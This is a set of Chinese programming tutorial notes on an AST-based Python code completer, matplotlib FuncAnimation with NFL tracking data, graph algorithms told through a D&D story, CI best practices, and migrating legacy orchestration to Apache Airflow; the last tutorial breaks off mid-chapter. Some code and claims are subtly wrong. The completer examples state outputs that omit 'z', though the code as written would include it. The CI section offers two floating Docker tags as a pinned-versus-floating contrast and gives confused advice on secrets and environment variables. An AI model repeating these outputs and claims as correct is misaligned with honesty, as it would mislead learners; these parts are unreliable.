为了回答这个问题,补全器必须理解光标周围的程序上下文。将源代码视为纯文本处理非常困难。幸运的是,Python解释器为我们提供了强大的工具——解析。
当Python运行程序时,它首先会将源代码文本转换为一种称为抽象语法树的结构化表示。
例如,对于以下代码:
def greet():
message = "Hello world"
alert(message)
其AST(抽象语法树)可以概念化地表示为:
Module
└── FunctionDef(name='greet')
├── args: arguments(args=[])
└── body: [
Assign(targets=[Name(id='message')], value=Constant(value='Hello world')),
Expr(value=Call(func=Name(id='alert'), args=[Name(id='message')]))
]
AST将代码转化为一系列易于程序遍历和操作的对象。Python标准库中的ast模块可以轻松完成这项工作:
import ast
tree = ast.parse("x = 42")
通过解析代码,我们就能以结构化的方式“理解”程序,这是构建代码补全器的基石。
上一节我们介绍了代码补全的意义和解析的核心概念。本节中,我们将利用这些知识,开始构建一个最基础的代码补全器。
Python代码补全器构建教程:2:构建基础补全器
我们的目标是:遍历AST,记录当前作用域中已定义的变量名,并在光标位置提供这些变量作为补全建议。
我们用一个特殊符号(例如__CURSOR__)来代表光标在源代码中的位置。
以下是构建基础补全器的步骤:
- 解析代码:将包含光标标记的源代码字符串解析为AST。
- 遍历AST:遍历树中的语句,构建当前作用域内已知变量名的集合。
- 识别光标:在遍历过程中,检查是否遇到了代表光标的节点。
- 提供补全:当遇到光标时,将已收集的变量名列表作为补全建议返回。
让我们用代码实现这个逻辑。假设我们有一个简单的代码片段:x = 1\ny = 2\nz = __CURSOR__。
import ast
# 1. 解析包含光标的代码
source_code = "x = 1\ny = 2\nz = __CURSOR__"
tree = ast.parse(source_code)
# 2. 初始化变量集合和补全结果
variables_in_scope = set()
completions = []
# 3. 遍历AST
for statement in tree.body:
if isinstance(statement, ast.Assign):
# 这是一个赋值语句,例如 `x = 1`
for target in statement.targets:
if isinstance(target, ast.Name):
# 将变量名加入作用域集合
variable_name = target.id
variables_in_scope.add(variable_name)
# 检查赋值语句的值是否是我们的光标标记
if isinstance(statement.value, ast.Name) and statement.value.id == "__CURSOR__":
# 4. 遇到光标,提供当前作用域内的变量作为补全
completions = sorted(variables_in_scope)
print("补全建议:", completions)
# 输出:补全建议: ['x', 'y']
这个简单的程序演示了代码补全的核心原理:通过解析和理解代码结构来提供上下文相关的建议。
上一节我们构建了一个能处理全局作用域变量的基础补全器。本节中我们来看看如何处理更复杂的代码结构,比如函数。
Python代码补全器构建教程:3:处理函数与作用域
在函数内部,可用的变量包括函数参数、函数体内定义的变量以及外层作用域(如全局变量)的变量。我们的补全器需要理解这种作用域嵌套。
我们需要升级遍历逻辑,使其能够递归地处理像函数定义这样的复合语句。
以下是关键改进点:
- 递归遍历:当遇到
ast.FunctionDef节点时,需要递归遍历其函数体。 - 作用域建模:为每个函数创建一个新的作用域,它继承自父作用域,并包含其参数和局部变量。
让我们修改代码以支持函数作用域。我们使用一个递归函数walk来遍历AST。
import ast
def get_completions(source_code):
tree = ast.parse(source_code)
completions = [] # 存储最终补全结果
def walk(node, scope):
"""
递归遍历AST节点。
node: 当前AST节点。
scope: 当前作用域内的变量集合。
"""
if isinstance(node, ast.Module):
# 模块节点,遍历其所有语句
for stmt in node.body:
walk(stmt, scope)
elif isinstance(node, ast.FunctionDef):
# 函数定义节点
# 1. 创建新作用域,继承父作用域变量
new_scope = set(scope)
# 2. 将函数参数添加到新作用域
for arg in node.args.args:
new_scope.add(arg.arg)
# 3. 递归遍历函数体
for stmt in node.body:
walk(stmt, new_scope)
elif isinstance(node, ast.Assign):
# 赋值语句
for target in node.targets:
if isinstance(target, ast.Name):
# 将定义的变量加入当前作用域
scope.add(target.id)
# 检查值是否为光标
if isinstance(node.value, ast.Name) and node.value.id == "__CURSOR__":
# 找到光标,设置补全建议为当前作用域的所有变量
nonlocal completions
completions = sorted(scope)
# 可以继续添加对其他语句类型(如If, For)的处理
# 初始作用域可以是内置函数等,这里为空
initial_scope = set()
walk(tree, initial_scope)
return completions
# 测试代码
code_with_function = """
x = 10
def my_func(foo, bar):
z = __CURSOR__
"""
print("函数内补全:", get_completions(code_with_function))
# 输出:函数内补全: ['bar', 'foo', 'x']
现在,我们的补全器已经能够理解函数作用域,并在函数体内提供正确的变量补全了。

上一节我们实现了对函数和作用域的支持。本节中我们来探讨构建实用补全器时面临的主要挑战和解决思路。
Python代码补全器构建教程:4:挑战与进阶思路
一个用于教学的原型补全器是简单的,但要构建一个能应对真实编程场景的补全器,则需要解决几个关键挑战。
1. 处理“向后引用”
在Python中,后面的代码可以定义前面代码中使用的函数或变量。例如:
def double_all(nums):
return [__CURSOR__(n) for n in nums] # 这里想补全 `twice`
def twice(x):
return x * 2
当从上到下遍历AST时,在光标位置我们还未看到twice函数。一个实用的解决方法是“作弊”:先记住光标位于double_all函数内,然后扫描整个模块获取所有定义,最后再为光标位置提供补全。这种近似处理在实践中效果很好。
2. 处理无效(语法错误)代码
程序员在编辑时,代码经常处于语法无效状态。标准库的ast.parse遇到语法错误会直接抛出异常,导致无法获得AST。
解决策略包括:
- 错误恢复解析器:使用能够容忍错误并生成部分AST的解析器,如
jedi、tree-sitter或parso。 - 文本修补技巧:尝试自动修复明显的语法错误(如未闭合的引号),使代码可解析。
3. 类型推断与智能补全
更高级的补全器能推断变量类型,从而提供属性(.)补全。例如,知道alice是Person类的实例,就能在输入alice.时建议name属性。
类型对于补全器而言,可以宽泛地定义为“任何在运行前我们能知道的关于值的信
息”。这包括:
- 类构造器调用(如
Person())。 - 类型注解。
- 对数据结构的认知(如,这个字典的键总是包含
"user_id"和"email")。
在Web开发中,客户端代码调用服务器API获取JSON数据是一个难点,因为补全器无法预知返回的数据结构。采用像OpenAPI规范来描述API接口,或使用全栈框架(如演讲者提到的Anvil)在前后端共享类型信息,是改善这一问题的方向。
Python代码补全器构建教程:5:总结
本节课中我们一起学习了如何从零开始构建一个Python代码补全器。
我们从代码补全的重要性谈起,然后揭示了其核心原理:通过解析源代码生成抽象语法树(AST),以理解程序结构。我们利用Python内置的ast模块,现场构建了一个能处理变量和函数作用域的基础补全器。
我们也探讨了构建成熟补全器必须面对的挑战:
- 通过“作弊”处理向后引用。
- 使用错误恢复解析器或技巧处理无效代码。
- 通过类型推断实现更智能的属性补全。
最后,我们认识到代码补全器的目标不是进行完美的程序分析,而是让程序员感到满意和高效。因此,适当的近似和“作弊”不仅是可接受的,往往是必要的。

希望本教程能帮助你揭开代码补全器的神秘面纱,并激发你深入探索编译器、解释器或IDE工具链相关领域的兴趣。
058:使用 matplotlib 的 FuncAnimation 动画化 NFL 逐帧数据

在本教程中,我们将学习如何将静态的 NFL 球员追踪数据图表,通过 matplotlib 的 FuncAnimation 类,转化为生动的动画。我们将从理解数据开始,逐步构建静态可视化,最后将其转换为动画。
概述
我们将要探索 FuncAnimation 的使用,这是一个 matplotlib 的类,用于创建动画。本教程将引导您完成从数据获取到创建动画可视化的完整过程。
理解数据
在开始可视化之前,我们必须先理解数据。我们将使用 NFL(美国国家橄榄球联盟)发布的逐帧追踪数据。
自2015年起,NFL要求每个体育场安装RFID接收器,并在每位球员和橄榄球中嵌入RFID标签。这些标签每十分之一秒记录一次位置、速度和加速度等数据,形成了丰富的时间序列数据集。
令人惊喜的是,NFL通过其“大数据碗”竞赛免费向公众提供了这些数据的子集。2021年的数据集特别侧重于传球进攻的追踪数据。
以下是数据表中关键列的含义:
time: 时间戳,表示每十分之一秒的读数。x和y: 球员或球在球场坐标平面上的位置(单位:码)。s: 速度。a: 加速度。gameId: 比赛唯一标识符。playId: 进攻回合唯一标识符。本数据集主要围绕特定的传球进攻。frameId: 将每个十分之一秒映射为一个递增的整数值。重要提示:frameId在每个playId内重新开始计数,因此它与特定进攻回合内的时间顺序直接相关。
创建静态可视化
理解了数据之后,我们就可以进入有趣的部分:创建可视化。我们首先尝试在球场背景上绘制某一特定时刻(帧)的球员位置。
以下是创建静态图的主要步骤:
- 设置与数据获取:定义要分析的
playId,并从数据库(如 TimescaleDB)中提取该次进攻的数据。 - 生成球场:创建一个函数(例如
generate_field()),使用matplotlib绘制标准的橄榄球场地图,包括码线和标记。 - 绘制单帧:创建另一个函数(例如
draw_play(frame_id))。该函数接收一个frame_id参数,并绘制在该帧时刻所有球员和球的位置。 - 组合与显示:在主程序中,创建一个图形(
fig),调用generate_field()生成背景,然后调用draw_play(65)(例如绘制第65帧),最后使用plt.show()显示图像。
通过以上步骤,我们可以得到一个静态快照,显示特定时刻球员在球场上的分布。
从静态图到动画
静态图虽然有用,但无法展示运动过程。例如,我们无法看到传球是如何发展的。这时,动画就派上用场了。
在介绍 FuncAnimation 之前,我们先理解动画的基本原理:它就像一本手翻书,由一系列快速连续播放的静态图像组成,从而产生运动的错觉。FuncAnimation 本质上就是一个数字化的手翻书制作工具。
它的工作原理是:对一个能生成静态图像的函数进行迭代,每次迭代产生一帧(一张静态图),然后将所有帧按顺序组合起来播放,形成动画。
使用 FuncAnimation
要将我们的静态图动画化,我们需要满足 FuncAnimation 的两个核心要求:
- 一个
matplotlib图形对象(fig)。 - 一个可迭代的绘图函数(
func),该函数能根据输入(通常是帧编号)绘制一帧图像。
回顾我们创建静态图的代码,我们已经拥有了这两个要素:
fig对象在创建图形时已定义。draw_play(frame_id)函数正是我们需要的可迭代绘图函数。当我们按顺序传入不同的frame_id(如1, 2, 3...),它就能绘制出随时间变化的序列图。
在将 draw_play 函数用于动画前,我们需要进行一些调整,主要是区分两种函数类型:
- 绘图函数:在动画过程中累加内容到画布上(例如,绘制新的球员位置点)。我们希望保留球员的历史轨迹,所以这符合我们的需求。
- 设置函数:在动画过程中每次都会被替换或重置的内容(例如,图例、标题)。如果这类操作在绘图函数内重复执行,会导致效率低下或显示问题。
在我们的 draw_play 函数中,绘制球员位置是“绘图函数”行为,而添加图例(plt.legend())更像是“设置函数”行为。为了优化,我们可以将图例的创建移到只执行一次的 generate_field() 函数中。
另一个关键点是:传递给 FuncAnimation 的迭代函数,其第一个参数必须是用于迭代的变量(在我们的例子中是 frame_id)。
以下是整合 FuncAnimation 的核心代码结构:
import matplotlib.animation as animation
# 假设 fig 已创建,generate_field() 已调用
# 定义动画
anim = animation.FuncAnimation(
fig=fig, # 图形对象
func=draw_play, # 绘图函数(注意只写函数名,不加括号和参数)
frames=range(1, 14), # 要迭代的帧序列(例如从第1帧到第13帧)
interval=100 # 每帧之间的间隔(毫秒),可选
)



# 显示动画(在Jupyter中可能需要使用 HTML(anim.to_jshtml()) 等方式)
plt.show()

注释掉之前用于生成静态图的 draw_play(65) 和 plt.show(),替换为上面的动画代码,即可生成动态可视化。
总结
本节课中,我们一起学习了如何利用 matplotlib 的 FuncAnimation 将静态数据图表转化为动画。
我们首先了解了 NFL 球员追踪数据的结构。然后,我们创建了一个在球场背景上绘制单帧球员位置的静态可视化。接着,我们探讨了动画的原理,并学习了 FuncAnimation 类的工作方式。最后,我们通过调整绘图函数、满足参数顺序要求,并调用 FuncAnimation,成功地将静态的球员位置图转换成了展示整个进攻回合过程的动画。

只要您拥有一个图形对象和一个以帧编号为第一参数的可迭代绘图函数,就可以轻松地为各种数据创建动画效果。
059:一个关于龙与地下城的冒险故事 🐉


在本教程中,我们将跟随一个有趣的龙与地下城(D&D)冒险故事,学习图论的基础知识。我们将了解什么是图、为什么它们很重要,以及如何使用几种核心算法来解决实际问题。内容将尽可能简单直白,适合初学者理解。
图论入门:1:什么是图?🤔
上一节我们介绍了本教程的概述,本节中我们来看看图的基本概念。
图是一种数据结构,用于编码系统内的实体和它们之间的关系。与许多其他数据结构不同,图将“关系”视为一等公民,这使得它在处理复杂系统时特别强大。
一个图由两个基本部分组成:
- 节点:代表系统中的实体(例如,人、地点、事物)。
- 边:代表连接两个节点的关系。
图特别擅长编码两种特殊关系:
- 有向关系:关系具有方向性。例如,在Twitter上“关注”某人,对方不一定关注你。
- 传递关系:关系可以间接传递。例如,朋友的朋友也可能对你产生影响。
一个更经典的例子是柯尼斯堡七桥问题。该问题描述了一个被河流分割的城市,四块陆地通过七座桥连接。问题是:能否找到一条路线,恰好每座桥只走一次并回到起点?这个问题是图论的起源之一。
图的更正式定义可以表示为:
- 设图 G = (V, E)
- V 是节点的集合。
- E 是边的集合,每条边是 V 中两个节点的无序对(无向图)或有序对(有向图)。
在分析图时,两个有用的概念是:
- 路径:从一个起始节点出发,经过一系列节点,到达一个结束节点的序列。
- 子图:原图的一部分,包含原图中部分节点和连接这些节点的边。
图的强大之处在于可以为其添加丰富的属性。你可以为节点或边添加标签(如“服务器”、“客户端”)或任何其他信息(如姓名、权重、延迟),从而进行深入的数据分析。
图论入门:2:图的应用与Python表示 🐍
上一节我们介绍了图的基本构成,本节中我们来看看图无处不在的应用以及如何在Python中表示它们。
图的应用非常广泛,几乎无处不在:
- 地图与导航
- 社交网络分析
- 谜题求解与状态空间搜索
- 疾病传播模型
- 通信网络
- 推荐系统
在Python中,有多种方式可以表示一个图:
1. 邻接矩阵
使用一个二维矩阵(列表的列表或NumPy数组)来表示节点之间的连接。行代表起始节点,列代表目标节点,矩阵中的值表示边的数量(或权重)。
# 一个无向图的邻接矩阵示例
graph_matrix = [
[0, 1, 0, 2], # 节点A连接到B(1条边)和D(2条边)
[1, 0, 1, 0], # 节点B连接到A和C
[0, 1, 0, 2], # 节点C连接到B和D
[2, 0, 2, 0] # 节点D连接到A和C
]
# 注意:对于无向图,矩阵是对称的。
2. 边列表
简单地存储所有边的列表,每条边是一个节点对。
edge_list = [('A', 'B'), ('A', 'D'), ('A', 'D'), ('B', 'C'), ('C', 'D'), ('C', 'D')]
3. 邻接字典(邻接表)
使用字典,其中键是节点,值是该节点的邻居列表。这种方式对稀疏图(边较少)更高效,也更容易处理有向图。
graph_dict = {
'A': ['B', 'D', 'D'],
'B': ['A', 'C'],
'C': ['B', 'D', 'D'],
'D': ['A', 'A', 'C', 'C']
}
4. 使用专业库
例如 networkx,它提供了完整的图数据结构和算法库。
import networkx as nx
G = nx.Graph()
G.add_edges_from([('A', 'B'), ('A', 'D'), ('B', 'C'), ('C', 'D')])
需要注意:图并非万能。如果你的应用涉及大量写入操作或需要频繁查询整个数据集的大部分内容,图数据库可能不是最高效的选择。
图论入门:3:深度优先搜索 🧭
现在,让我们开始我们的D&D冒险,并学习第一个图算法。假设你身处一个繁忙的酒馆,需要从入口(底部)走到吧台(顶部)。酒馆的布局像迷宫一样。
首先,我们需要将地图转化为图:
- 将每个走廊交叉口视为一个节点。
- 将每条走廊视为连接两个节点的边。
你的目标是找到从起点到吧台的路径。一种直观的方法是:在每一个岔路口,随机选择一条路走下去。如果走进死胡同,就返回到上一个岔路口,尝试另一条路。这种方法被称为深度优先搜索。
以下是深度优先搜索算法的核心思想(递归版本):
- 将当前节点标记为“已访问”。
- 检查当前节点是否是目标节点。如果是,搜索成功。
- 如果不是,则对当前节点的每一个“未访问”的邻居节点,递归地执行深度优先搜索。
一个简单的Python实现框架如下:
def dfs(node, target, visited):
if node == target: # 结束条件:找到目标
return True
visited.add(node) # 标记当前节点为已访问,避免循环
for neighbor in get_neighbors(node): # 遍历邻居
if neighbor not in visited:
if dfs(neighbor, target, visited): # 递归搜索
return True
return False # 所有路径都探索完毕,未找到目标
关键点:必须记录已访问的节点,否则算法可能会在循环中无限运行。
在最坏的情况下,你可能需要探索所有可能的路径才能找到目标。深度优先搜索实现简单,适用于许多“寻找一条可行路径”的场景。
图论入门:4:广度优先搜索 🔄
上一节我们使用深度优先搜索找到了吧台,但方法可能不是最有效的。本节我们面临一个新问题:在酒馆外,一个街头流浪儿请求帮助,并告诉你钥匙可能在“Alice”或“Bob”那里。
你把人际关系建模成图:
- 每个人是一个节点。
- “A认为B可能有钥匙”这种关系是一条有向边。
如果你用深度优先搜索的方式,先去问Alice,Alice让你去问Carmen或Dave,你选择先去问Carmen,Carmen又让你去问Bob……这个过程可能陷入循环或绕远路。
更高效的方法是广度优先搜索。它的策略是:先询问所有你可能直接知道的人(第一层),如果他们没有钥匙,再询问他们推荐的所有人(第二层),以此类推。这样可以确保你以最少的“跳跃”次数找到钥匙。
以下是广度优先搜索的步骤:
- 创建一个队列,将起始节点(你自己)放入队列。
- 创建一个集合,记录已访问的节点。
- 当队列不为空时:
- 从队列中取出一个节点。
- 如果该节点是目标(有钥匙),搜索成功。
- 否则,将该节点标记为已访问,并将其所有未访问的邻居节点加入队列。
广度优先搜索能保证找到的路径是最短的(以边数计)。以下是算法的样子:
from collections import deque
def bfs(start, target):
queue = deque([start])
visited = set([start])
while queue:
node = queue.popleft()
if node == target:
return True # 找到目标
for neighbor in get_neighbors(node):
if neighbor not in visited:
visited.add(neighbor)
queue.append(neighbor)
return False # 未找到目标
广度优先搜索是一项极其有用的技能,可以解决许多需要寻找最短步骤的问题。
图论入门:5:加权图与中心性 ⚖️
你通过广度优先搜索找到了钥匙,并拿到了一张下水道地图。你迅速将地图转化为图,并计算出一条边数最少的路径。但当你跑过去时,流浪儿却先到了!因为他考虑了路径的长度(权重),找到了更快的路线。
当图中的边具有不同的“成本”或“长度”(即权重)时,我们需要使用能处理加权图的算法,例如Dijkstra算法来寻找最短路径(总权重最小)。其核心思想是不断更新从起点到各个节点的当前已知最短距离。
由于时间关系,我们不再深入Dijkstra的代码实现,但请记住:在处理带权重的图时,不能简单地用边数来衡量最短路径。
进入恶棍巢穴后,你发现了一堆错综复杂的通信记录。为了理清头绪,你将其构建成一个有向图:节点是人,边表示发送消息的关系。
现在问题变成了:如何找出这个通信网络中的关键人物(影响力最大的人)?这里可以使用中心性算法。
最简单的是度中心性:一个节点的度(连接数)越高,它的影响力可能就越大。计算公式为:
度中心性 = 节点的度 / (图中节点总数 - 1)
计算每个节点的度中心性后,你就可以识别出网络中的核心人物。度中心性计算简单,但还有许多更复杂的中心性指标(如接近中心性、中介中心性),适用于不同的场景。
图论入门:6:社区检测与总结 🎯
最后,你将恶棍绳之以法,并将财物归还给市长。市长面临一个新问题:如何根据城镇章程,合理地将资金分配给不同的部门和项目?
你可以使用社区检测算法来对章程中的实体进行分组。基本步骤是:
- 构建图:将每个需要资金的实体(如市长办公室、水务部门)作为节点。
- 建立连接:如果两个实体在章程的同一章节中被提及,则在它们之间创建一条边。可以根据提及的紧密程度为边赋予不同的权重。
- 寻找社区:目标是找到图中联系紧密的节点群组。一种方法是寻找最小生成树,然后按权重依次移除边,从而将图分割成不同的社区(组)。
通过社区检测,你可以将联系紧密的实体分为一组,从而为市长的资金分配提供逻辑上的依据。
重要提示:算法不是银弹。在运行任何图算法之前,你应该:
- 明确你期望得到什么样的结果。
- 检查你的图模型(节点和边的定义)是否合理。
- 如果结果不符合预期,检查实现是否正确,或尝试其他类似的算法。
总结
在本教程中,我们通过一个有趣的D&D冒险故事,一起学习了图论的基础知识:

- 图是什么:一种用于表示实体(节点)及其关系(边)的强大数据结构。
- 图的表示:可以在Python中使用邻接矩阵、边列表、邻接字典或
networkx库来表示。 - 核心算法:我们重点介绍了三大类算法:
- 路径查找:深度优先搜索(DFS)和广度优先搜索(BFS)。请务必掌握BFS,它是寻找最短步数路径的利器。
- 连接分析:如中心性算法,用于发现网络中的关键节点。
- 社区检测:用于发现图中联系紧密的群组。
- 图的优势:对变化弹性好,易于添加信息,能直观地建模复杂系统。

图的世界非常广阔,鼓励你继续探索更多的算法和应用。希望这篇教程为你打开了图论学习的大门!
060:概述与核心概念

在本教程中,我们将学习如何为Python项目建立一个高效、可靠的持续集成系统。我们将从理解CI的基本构成和目标开始,逐步探讨如何通过一系列最佳实践来优化其准确性、可操作性、及时性和成本效益。
持续集成是现代软件开发的核心实践之一。它通过自动化的方式,在代码变更被合并到主分支之前,对其进行构建、测试和检查,从而尽早发现并修复问题。一个设计良好的CI系统可以显著提升团队的开发效率和代码质量。
CI系统的构成与目标
一个典型的持续集成系统由几个关键部分组成。首先,我们需要一个协调器,它负责监听代码仓库的变更(如新的拉取请求),并决定何时触发构建流程。其次,一个或多个运行器会执行具体的任务,例如运行代码检查、执行测试或打包应用。最后,系统会收集并持久化构建日志,为开发者提供反馈和调试依据。
CI系统的主要目标是作为一个自动化门禁,判断一个代码补丁是否会引入回归问题。它并不判断代码变更在功能上是否正确,而是专注于确保变更不会让现有功能变得更糟。
Python持续集成最佳实践:2:CI系统的评估标准
上一节我们介绍了CI系统的基本构成和目标。本节中,我们来看看如何评估一个CI系统的优劣。我们可以从四个相对独立但又至关重要的标准来衡量。
以下是评估CI系统的四个核心标准:
- 准确性:系统给出的判断是否正确。如果它报告补丁引入了回归,那么补丁确实引入了回归;如果它报告没有,那么补丁确实没有。准确性是CI系统的基石。
- 可操作性:当补丁被判定为“坏”时,系统提供的反馈信息是否有助于开发者快速定位和修复问题。最理想的情况是,CI系统能提供在本地重现问题的方法。
- 及时性:系统从触发到给出结果所需的时间。一个即使完美但运行缓慢的CI系统会严重拖慢开发节奏。
- 成本:运行CI系统所消耗的计算资源和相关费用。在保证质量的前提下,成本应尽可能优化。
这四个标准常常需要权衡。例如,为了提高准确性而增加更多测试,可能会牺牲及时性和增加成本。因此,明确项目的优先级至关重要。
Python持续集成最佳实践:3:提升CI的准确性
我们已经了解了CI系统的评估标准。现在,让我们深入探讨如何提升CI系统的准确性,即确保其判断的正确性。
提升准确性的关键在于确保测试环境的稳定性和可重现性。如果测试环境本身在变化,那么测试失败可能并非由代码补丁引起,从而导致误判。
以下是提升准确性的关键措施:
- 使用固定版本的容器镜像:在CI流程中使用Docker等容器技术,并固定基础镜像的标签(例如
python:3.9-slim而非python:3.9-slim-buster)。这确保了每次构建都在完全相同的操作系统和Python解释器版本上运行。# 好的做法:固定具体版本 FROM python:3.9.16-slim-buster # 避免的做法:使用浮动标签 # FROM python:3.9-slim - 锁定项目依赖版本:使用
pip配合requirements.txt或Pipfile.lock等工具,确保测试时安装的是完全相同的第三方库版本。依赖项的意外升级可能导致测试失败,但这并非补丁的错。# 使用 requirements.txt 锁定版本 flask==2.2.3 requests==2.28.2 # 在CI中安装依赖 pip install -r requirements.txt - 独立处理依赖升级:依赖项的升级应作为一个独立的补丁提交,并通过相同的CI流程进行验证。如果升级导致测试失败,CI系统会正确地阻止其合并,直到问题被修复。
- 持续监控并提升测试质量:CI系统是观察测试历史表现的绝佳位置。应关注那些经常失败(flaky)的测试,并修复它们,因为它们会严重损害CI的准确性。

通过以上措施,我们可以最大程度地隔离环境变量,确保CI失败的唯一原因就是代码补丁本身引入了问题。
Python持续集成最佳实践:4:增强CI的可操作性
上一节我们探讨了如何让CI的判断更准确。本节中,我们来看看当CI报告失败时,如何让它提供更有用的信息,即增强其可操作性。
可操作性的核心是提供详尽的上下文信息,帮助开发者快速理解失败原因,并能在本地复现问题。这能极大缩短调试时间。
以下是增强可操作性的具体方法:
- 启用最高级别的日志详细度:在运行测试或检查工具时,始终使用最高详细度选项(如
pytest -v或pytest -vv)。虽然日志会变长,但关键信息被遗漏的风险更低。日志可以被过滤,但无法被凭空添加。# 运行测试时开启详细输出 pytest -vv - 编写具有描述性的断言和异常:使用如
pytest的断言或hamcrest库,它们能在断言失败时自动提供丰富的上下文。同时,在代码中抛出异常时,应包含尽可能多的细节信息。# 好的做法:提供详细错误信息 def divide(a, b): if b == 0: raise ValueError(f"除数不能为零。传入的参数: a={a}, b={b}") return a / b # 在测试中使用描述性断言 assert result == expected, f"计算错误: 得到 {result}, 期望 {expected}" - 在日志开头输出完整的环境信息:在CI任务开始时,将可能影响程序行为的环境信息全部打印出来,例如Python版本、操作系统信息、环境变量(不包含密钥)、关键库的版本等。
import os, sys, platform print(f"Python版本: {sys.version}") print(f"操作系统: {platform.platform()}") print(f"当前路径: {os.getcwd()}") # 打印一些重要的环境变量(确保不包含密码等秘密) - 妥善管理密钥:永远不要将密码、API密钥等秘密信息通过环境变量传递给CI。所有主流CI系统都提供了更安全的密钥管理方式(如“Secrets”或“Variables”设置)。环境变量极易在日志中意外泄露。
一个可操作性强的CI系统,其失败日志本身就是一个清晰的调试指南。
Python持续集成最佳实践:5:优化CI的及时性与成本
我们已经学习了如何让CI更准确、更易于调试。最后,我们来探讨如何平衡及时性与成本,让CI系统既快速又经济。
及时性关乎开发体验,成本关乎项目预算。优化这两者通常需要一些工程上的投入和权衡。
以下是优化及时性与成本的策略:
- 利用缓存机制:
- 依赖缓存:配置CI系统缓存
pip下载的包目录(如~/.cache/pip)或poetry的虚拟环境,避免每次构建都重新下载所有依赖。 - Docker层缓存:如果使用Docker构建,确保CI运行器能够缓存Docker镜像层。将Dockerfile中变化最不频繁且最耗时的指令(如安装系统依赖)放在前面。
- 依赖缓存:配置CI系统缓存
- 并行执行任务:
- CI阶段并行:将代码检查(Lint)、单元测试、集成测试等任务设置为并行执行,而不是串行。
- 测试套件拆分:将庞大的测试套件拆分成多个组,并在不同的CI运行器上并行执行。
pytest可以通过pytest -n auto利用多核并行运行测试。
- 实现快速失败:如果代码检查(如
flake8)或单元测试早期就失败了,后续更耗时的集成测试就没有必要继续运行。配置CI流程在早期步骤失败时立即终止。 - 使用模拟(Mock)和轻量级替代:
- 对于数据库、外部API等IO密集型或速度慢的依赖,在测试中尽量使用模拟对象(
unittest.mock)。 - 考虑使用内存数据库(如SQLite)或临时文件系统进行测试。
- 对于数据库、外部API等IO密集型或速度慢的依赖,在测试中尽量使用模拟对象(
- 定期审视和清理:
- 监控CI耗时和成本:定期查看哪些任务或测试最耗时、最费资源。
- 移除无用或过时的任务:清理那些不再提供价值的CI检查或测试。
- 评估“提前停止”策略:在发现第一个失败后就停止运行剩余测试,这能节省资源,但可能会隐藏其他问题。需要根据团队偏好进行权衡。
关键在于明确优先级。团队需要决定在准确性、可操作性、及时性和成本之间,哪个维度最重要。然后,通过监控和测量,将优化努力集中在与价值观最不一致的方面。
Python持续集成最佳实践:6:总结与实践
在本教程中,我们一起学习了构建高效Python持续集成系统的完整思路与最佳实践。
我们从理解CI系统的基本组件(协调器、运行器、日志)和核心目标(作为自动化门禁防止回归)开始。接着,我们建立了四个评估CI系统的关键标准:准确性、可操作性、及时性和成本。
为了提升准确性,我们强调使用固定版本的容器镜像和项目依赖,确保测试环境的稳定性。为了增强可操作性,我们应输出最高详细度的日志、编写描述性的错误信息,并安全地管理密钥。在优化及时性与成本方面,我们可以利用缓存、并行执行、模拟技术,并定期清理无用任务。
最后,最重要的是,这些实践需要根据你所在团队和项目的具体价值观进行选择和调整。没有放之四海而皆准的方案,最好的CI系统是那个与你的开发流程和目标最匹配的系统。
现在,是时候将这些知识应用到你的项目中了。检查你现有的CI流程,从一个小改进开始,持续测量和调整,逐步构建起一个真正为团队赋能的高效持续集成系统。
061:从内部到开源

概述
在本教程中,我们将学习如何利用开源软件来迁移和现代化遗留系统。我们将通过一个具体的案例研究,探讨如何识别合适的开源项目、将其集成到现有技术栈中,并确保迁移过程的平稳与正确性。整个过程将使用Python作为核心工具。
第1章:理解遗留代码与开源优势
什么是遗留代码?
遗留代码通常指那些不再进行主动工程设计,而仅通过修补来解决问题的代码。为这类系统添加新功能变得极其困难,因此它们是进行现代化迁移的理想候选者。
为什么选择开源进行迁移?
上一节我们介绍了遗留代码的概念,本节中我们来看看为什么开源软件是迁移的首选方案。
以下是选择开源进行迁移的三个核心优势:
- 高质量的预构建软件:开源社区提供了大量成熟的软件,通常只需最小改动即可满足需求。
- 高度的可定制性:由于代码是开放的,你可以深入了解其内部机制,并通过添加插件或直接修改代码库来满足特定需求。
- 持续的技术创新:开源项目由活跃的社区驱动,能够让你接触到前沿技术并持续获得更新。
开源迁移的注意事项
尽管开源优势明显,但在采用时也需注意以下几点:
- 支持与维护:社区支持可能不稳定,但部分公司提供付费的商业支持服务。
- 成熟度与稳定性:对于关键应用,需评估软件的稳定性和问题修复的及时性。
- 硬件成本:大规模采用开源软件仍需考虑相应的硬件资源预算。
第2章:识别合适的开源候选者
案例研究:编排框架迁移
为了具体说明,我们引入一个案例:迁移一个复杂的编排框架。该框架需要根据元数据调度流程、处理流程依赖关系、监控事件,并将最终数据写入数据库。
其核心流程可抽象为:一个主流程(红圈)触发一系列依赖的子流程(紫圈、橙圈),所有子流程完成后,主流程才算完成。系统需要同时调度数百个这样的流程,处理数十亿数据点,且不容有失。
三阶段筛选法
上一节我们定义了一个复杂的迁移目标,本节中我们来看看如何系统地寻找并筛选出最适合的开源解决方案。
我们将采用一个三阶段的方法来识别目标软件:
- 理解需求:剥离业务细节,提炼核心功能描述。
- 案例核心描述:利用特定领域的元数据自动协调事件和数据流,以智能地调度和触发流程。
- 提炼关键词:调度、编排、依赖。
- 研究解决方案:基于关键词,通过搜索引擎(如Apache官网)、技术社区和内部网络寻找候选项目。
- 初步候选:Apache Airflow, Apache NIFI, ARGO。
- 缩小范围:制定评估标准,筛选出最终系统。
制定评估标准
为了从多个候选方案中做出选择,我们制定了以下四个评估指标:
- 采用度与社区活跃度:更高的GitHub星标、提交和问题讨论意味着更好的支持和更快的漏洞修复。
- 技术兼容性:解决方案是否与现有技术栈匹配,并能解决核心问题。
- 可扩展性:系统是否易于扩展,以应对未来可能的新需求。
- 定制便利性:系统是否灵活,便于根据特定用例进行定制。
基于以上标准,我们对三个候选项目进行了评估:
- Apache Airflow:社区非常活跃,纯Python编写,插件生态丰富,在调度和依赖管理方面表现出色,且易于定制。
- Apache NIFI:更侧重于数据管道(ETL),与我们的编排核心需求不完全匹配。
- ARGO:在内部有支持,但主要专注于容器化应用,与我们的裸金属/Linux环境需求不符。
最终选择:Apache Airflow。
第3章:集成策略与桥梁组件
分解现有架构
现在我们已经选定了Airflow作为迁移目标,但面对一个庞大且运行良好的遗留框架,我们应该从哪里开始呢?
首先,将复杂的遗留框架分解为独立的组件:
- 调度器:根据元数据决定启动哪个进程。
- 编排引擎:启动首个进程并监控其完成。
- 作业管理系统:监控并管理所有启动的依赖进程。
渐进式替换与“桥梁”组件
